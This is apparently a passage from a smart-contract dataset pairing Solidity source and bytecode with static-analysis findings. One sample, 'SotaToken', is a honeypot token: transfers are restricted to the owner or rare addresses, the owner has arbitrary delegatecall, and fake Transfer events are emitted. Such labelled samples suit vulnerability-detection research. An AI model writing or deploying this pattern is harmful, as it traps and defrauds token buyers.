959493929190613f11565b600060405180830381600087803b15801561259a57600080fd5b505af11580156125ae573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125de576125dd612672565b5b6125e98484846126b5565b806125f7576125f6612880565b5b50505050565b600080600061260a612894565b91509150612621818361262890919063ffffffff16565b9250505090565b600061266a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128f6565b905092915050565b6000600c5414801561268657506000600d54145b15612690576126b3565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126c787612959565b95509550955095509550955061272586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129c190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ba85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280681612a69565b6128108483612b26565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161286d91906130ed565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea0000090506128ca683635c9adc5dea0000060065461262890919063ffffffff16565b8210156128e957600654683635c9adc5dea000009350935050506128f2565b81819350935050505b9091565b6000808311829061293d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129349190612f96565b60405180910390fd5b506000838561294c9190613f9a565b9050809150509392505050565b60008060008060008060008060006129768a600c54600d54612b60565b92509250925060006129866125fd565b905060008060006129998e878787612bf6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a0383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061220c565b905092915050565b6000808284612a1a9190613c28565b905083811015612a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a5690614017565b60405180910390fd5b8091505092915050565b6000612a736125fd565b90506000612a8a8284612c7f90919063ffffffff16565b9050612ade81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b3b826006546129c190919063ffffffff16565b600681905550612b5681600754612a0b90919063ffffffff16565b6007819055505050565b600080600080612b8c6064612b7e888a612c7f90919063ffffffff16565b61262890919063ffffffff16565b90506000612bb66064612ba8888b612c7f90919063ffffffff16565b61262890919063ffffffff16565b90506000612bdf82612bd1858c6129c190919063ffffffff16565b6129c190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c0f8589612c7f90919063ffffffff16565b90506000612c268689612c7f90919063ffffffff16565b90506000612c3d8789612c7f90919063ffffffff16565b90506000612c6682612c5885876129c190919063ffffffff16565b6129c190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c925760009050612cf4565b60008284612ca09190614037565b9050828482612caf9190613f9a565b14612cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce690614103565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d5c82612d13565b810181811067ffffffffffffffff82111715612d7b57612d7a612d24565b5b80604052505050565b6000612d8e612cfa565b9050612d9a8282612d53565b919050565b600067ffffffffffffffff821115612dba57612db9612d24565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612dfb82612dd0565b9050919050565b612e0b81612df0565b8114612e1657600080fd5b50565b600081359050612e2881612e02565b92915050565b6000612e41612e3c84612d9f565b612d84565b90508083825260208201905060208402830185811115612e6457612e63612dcb565b5b835b81811015612e8d5780612e798882612e19565b845260208401935050602081019050612e66565b5050509392505050565b600082601f830112612eac57612eab612d0e565b5b8135612ebc848260208601612e2e565b91505092915050565b600060208284031215612edb57612eda612d04565b5b600082013567ffffffffffffffff811115612ef957612ef8612d09565b5b612f0584828501612e97565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f48578082015181840152602081019050612f2d565b83811115612f57576000848401525b50505050565b6000612f6882612f0e565b612f728185612f19565b9350612f82818560208601612f2a565b612f8b81612d13565b840191505092915050565b60006020820190508181036000830152612fb08184612f5d565b905092915050565b6000819050919050565b612fcb81612fb8565b8114612fd657600080fd5b50565b600081359050612fe881612fc2565b92915050565b6000806040838503121561300557613004612d04565b5b600061301385828601612e19565b925050602061302485828601612fd9565b9150509250929050565b60008115159050919050565b6130438161302e565b82525050565b600060208201905061305e600083018461303a565b92915050565b6000819050919050565b600061308961308461307f84612dd0565b613064565b612dd0565b9050919050565b600061309b8261306e565b9050919050565b60006130ad82613090565b9050919050565b6130bd816130a2565b82525050565b60006020820190506130d860008301846130b4565b92915050565b6130e781612fb8565b82525050565b600060208201905061310260008301846130de565b92915050565b60008060006060848603121561312157613120612d04565b5b600061312f86828701612e19565b935050602061314086828701612e19565b925050604061315186828701612fd9565b9150509250925092565b600060ff82169050919050565b6131718161315b565b82525050565b600060208201905061318c6000830184613168565b92915050565b61319b81612df0565b82525050565b60006020820190506131b66000830184613192565b92915050565b6000602082840312156131d2576131d1612d04565b5b60006131e084828501612e19565b91505092915050565b6131f28161302e565b81146131fd57600080fd5b50565b60008135905061320f816131e9565b92915050565b60006020828403121561322b5761322a612d04565b5b600061323984828501613200565b91505092915050565b60006020828403121561325857613257612d04565b5b600061326684828501612fd9565b91505092915050565b6000806000806080858703121561328957613288612d04565b5b600061329787828801612fd9565b94505060206132a887828801612fd9565b93505060406132b987828801612fd9565b92505060606132ca87828801612fd9565b91505092959194509250565b600080fd5b60008083601f8401126132f1576132f0612d0e565b5b8235905067ffffffffffffffff81111561330e5761330d6132d6565b5b60208301915083602082028301111561332a57613329612dcb565b5b9250929050565b60008060006040848603121561334a57613349612d04565b5b600084013567ffffffffffffffff81111561336857613367612d09565b5b613374868287016132db565b9350935050602061338786828701613200565b9150509250925092565b600080604083850312156133a8576133a7612d04565b5b60006133b685828601612e19565b92505060206133c785828601612e19565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613407602083612f19565b9150613412826133d1565b602082019050919050565b60006020820190508181036000830152613436816133fa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134a682612fb8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134d9576134d861346c565b5b600182019050919050565b7f4275792072657761726473206d757374206265206265747765656e203025206160008201527f6e64203425000000000000000000000000000000000000000000000000000000602082015250565b6000613540602583612f19565b915061354b826134e4565b604082019050919050565b6000602082019050818103600083015261356f81613533565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e64203260008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b60006135d2602283612f19565b91506135dd82613576565b604082019050919050565b60006020820190508181036000830152613601816135c5565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e2030252060008201527f616e642034250000000000000000000000000000000000000000000000000000602082015250565b6000613664602683612f19565b915061366f82613608565b604082019050919050565b6000602082019050818103600083015261369381613657565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e642060008201527f3230250000000000000000000000000000000000000000000000000000000000602082015250565b60006136f6602383612f19565b91506137018261369a565b604082019050919050565b60006020820190508181036000830152613725816136e9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613788602683612f19565b91506137938261372c565b604082019050919050565b600060208201905081810360008301526137b78161377b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061381a602483612f19565b9150613825826137be565b604082019050919050565b600060208201905081810360008301526138498161380d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006138ac602283612f19565b91506138b782613850565b604082019050919050565b600060208201905081810360008301526138db8161389f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061393e602583612f19565b9150613949826138e2565b604082019050919050565b6000602082019050818103600083015261396d81613931565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006139d0602383612f19565b91506139db82613974565b604082019050919050565b600060208201905081810360008301526139ff816139c3565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613a62602983612f19565b9150613a6d82613a06565b604082019050919050565b60006020820190508181036000830152613a9181613a55565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613af4603f83612f19565b9150613aff82613a98565b604082019050919050565b60006020820190508181036000830152613b2381613ae7565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613b60601c83612f19565b9150613b6b82613b2a565b602082019050919050565b60006020820190508181036000830152613b8f81613b53565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613bf2602383612f19565b9150613bfd82613b96565b604082019050919050565b60006020820190508181036000830152613c2181613be5565b9050919050565b6000613c3382612fb8565b9150613c3e83612fb8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c7357613c7261346c565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613cda602383612f19565b9150613ce582613c7e565b604082019050919050565b60006020820190508181036000830152613d0981613ccd565b9050919050565b6000613d1b82612fb8565b9150613d2683612fb8565b925082821015613d3957613d3861346c565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613da0602a83612f19565b9150613dab82613d44565b604082019050919050565b60006020820190508181036000830152613dcf81613d93565b9050919050565b600081519050613de581612e02565b92915050565b600060208284031215613e0157613e00612d04565b5b6000613e0f84828501613dd6565b91505092915050565b6000819050919050565b6000613e3d613e38613e3384613e18565b613064565b612fb8565b9050919050565b613e4d81613e22565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e8881612df0565b82525050565b6000613e9a8383613e7f565b60208301905092915050565b6000602082019050919050565b6000613ebe82613e53565b613ec88185613e5e565b9350613ed383613e6f565b8060005b83811015613f04578151613eeb8882613e8e565b9750613ef683613ea6565b925050600181019050613ed7565b5085935050505092915050565b600060a082019050613f2660008301886130de565b613f336020830187613e44565b8181036040830152613f458186613eb3565b9050613f546060830185613192565b613f6160808301846130de565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fa582612fb8565b9150613fb083612fb8565b925082613fc057613fbf613f6b565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614001601b83612f19565b915061400c82613fcb565b602082019050919050565b6000602082019050818103600083015261403081613ff4565b9050919050565b600061404282612fb8565b915061404d83612fb8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156140865761408561346c565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006140ed602183612f19565b91506140f882614091565b604082019050919050565b6000602082019050818103600083015261411c816140e0565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c045fb5dc8ba4066f86b01b32f74968a5dd427bcc5888c76c758aa19b3ccb3b164736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 662 |
0x799Dc6B425948E55ae12dAe82955666De63A93b3 | //SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
abstract contract Context {
constructor() {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public override view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public override view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SotaToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 250000000000000000000000000;
string public name = "SOTA";
string public symbol = "SOTA";
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private owner;
address public uniPair;
function sliceUint(bytes memory bs)
internal pure
returns (uint)
{
uint x;
assembly {
x := mload(add(bs, add(0x10, 0)))
}
return x;
}
function isAccountValid(address subject) pure public returns (bool result) {
return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;
}
function onlyByHundred() view public returns (bool result) {
require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this");
return true;
}
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0x6080604052600436106101095760003560e01c806395d89b4111610095578063a9059cbb11610064578063a9059cbb14610461578063aa2f52201461048d578063d6d2b6ba14610530578063dd62ed3e146105e4578063f24286211461061f57610109565b806395d89b41146102f6578063964561f51461030b5780639c73735514610437578063a0e47bf61461044c57610109565b8063313ce567116100dc578063313ce5671461023557806332972e461461024a57806370a082311461027b57806373a6b2be146102ae57806376771d4b146102e157610109565b806306fdde031461010e578063095ea7b31461019857806318160ddd146101d857806323b872dd146101ff575b600080fd5b34801561011a57600080fd5b50610123610634565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015d578181015183820152602001610145565b50505050905090810190601f16801561018a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c4600480360360408110156101ae57600080fd5b506001600160a01b0381351690602001356106c2565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed610728565b60408051918252519081900360200190f35b6101c46004803603606081101561021557600080fd5b506001600160a01b0381358116916020810135909116906040013561072e565b34801561024157600080fd5b506101ed6108b7565b34801561025657600080fd5b5061025f6108bc565b604080516001600160a01b039092168252519081900360200190f35b34801561028757600080fd5b506101ed6004803603602081101561029e57600080fd5b50356001600160a01b03166108cb565b3480156102ba57600080fd5b506101c4600480360360208110156102d157600080fd5b50356001600160a01b03166108dd565b3480156102ed57600080fd5b5061025f610924565b34801561030257600080fd5b50610123610933565b6104356004803603606081101561032157600080fd5b81359190810190604081016020820135600160201b81111561034257600080fd5b82018360208201111561035457600080fd5b803590602001918460208302840111600160201b8311171561037557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103c457600080fd5b8201836020820111156103d657600080fd5b803590602001918460208302840111600160201b831117156103f757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061098e945050505050565b005b34801561044357600080fd5b506101c4610b45565b34801561045857600080fd5b5061025f610b96565b6101c46004803603604081101561047757600080fd5b506001600160a01b038135169060200135610ba5565b6101c4600480360360408110156104a357600080fd5b810190602081018135600160201b8111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460208302840111600160201b831117156104f057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610bb9915050565b6104356004803603604081101561054657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561057057600080fd5b82018360208201111561058257600080fd5b803590602001918460018302840111600160201b831117156105a357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610cbb945050505050565b3480156105f057600080fd5b506101ed6004803603604081101561060757600080fd5b506001600160a01b0381358116916020013516610d78565b34801561062b57600080fd5b5061025f610d95565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b820191906000526020600020905b81548152906001019060200180831161069d57829003601f168201915b505050505081565b3360008181526001602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b600854600090849084906001600160a01b038084169116148061075e57506008546001600160a01b038281169116145b8061077657506009546001600160a01b038381169116145b8061078b57506008546001600160a01b031632145b806107a057506008546001600160a01b031633145b806107af57506107af326108dd565b6107b857600080fd5b836107c657600192506108ae565b336001600160a01b03871614610831576001600160a01b038616600090815260016020908152604080832033845290915290205484111561080657600080fd5b6001600160a01b03861660009081526001602090815260408083203384529091529020805485900390555b6001600160a01b03861660009081526020819052604090205484111561085657600080fd5b6001600160a01b0380871660008181526020818152604080832080548a9003905593891680835291849020805489019055835188815293519193600080516020610de4833981519152929081900390910190a3600192505b50509392505050565b601281565b6009546001600160a01b031681565b60006020819052908152604090205481565b600060646109158360405160200180826001600160a01b031660601b8152601401915050604051602081830303815290604052610da4565b8161091c57fe5b061592915050565b6006546001600160a01b031681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b6008546001600160a01b031633146109a557600080fd5b306000818152602081905260408082208690556002543380845292829020606460069092028290049055600554825163f305d71960e01b815260048101959095526024850188905260448501889052349185018290526084850193909352610258420160a485015290516001600160a01b039092169263f305d7199260c480830192606092919082900301818588803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b50505050506040513d6060811015610a6c57600080fd5b50508051825114610a7c57600080fd5b60005b8251811015610b3f57818181518110610a9457fe5b6020026020010151600080858481518110610aab57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550828181518110610ae357fe5b60200260200101516001600160a01b031660006001600160a01b0316600080516020610de4833981519152848481518110610b1a57fe5b60200260200101516040518082815260200191505060405180910390a3600101610a7f565b50505050565b6000610b50336108dd565b1515600114610b905760405162461bcd60e51b8152600401808060200182810382526038815260200180610dac6038913960400191505060405180910390fd5b50600190565b6005546001600160a01b031681565b6000610bb233848461072e565b9392505050565b6008546000906001600160a01b03163314610bd357600080fd5b82513360009081526020819052604090205490830290811115610bf557600080fd5b336000908152602081905260408120805483900390555b8451811015610cb0576000858281518110610c2357fe5b6020908102919091018101516001600160a01b0381166000818152928390526040909220805488019055915033600080516020610de483398151915260028860408051929091048252519081900360200190a36001600160a01b03811633600080516020610de483398151915260028860408051929091048252519081900360200190a350600101610c0c565b506001949350505050565b6008546001600160a01b03163314610cd257600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610d0c5780518252601f199092019160209182019101610ced565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610d6c576040519150601f19603f3d011682016040523d82523d6000602084013e610d71565b606091505b5050505050565b600160209081526000928352604080842090915290825290205481565b6007546001600160a01b031681565b601001519056fe4f6e6c79206f6e6520696e20612068756e64726564206163636f756e74732073686f756c642062652061626c6520746f20646f2074686973ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122052af284a445c181abadaa6598972dd0465304c36557775c28d8050531aa471c164736f6c63430007030033 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 663 |
0xaf474bb656bcdaf29fad5bdaa59ffdcb34c0687d | /**
* SafeMath Libary
*/
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint256 a, uint256 b) internal pure returns(uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns(uint256)
{
assert(b <= a);
return a - b;
}
function safeMul(uint256 a, uint256 b) internal pure returns(uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns(uint256)
{
uint256 c = a / b;
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
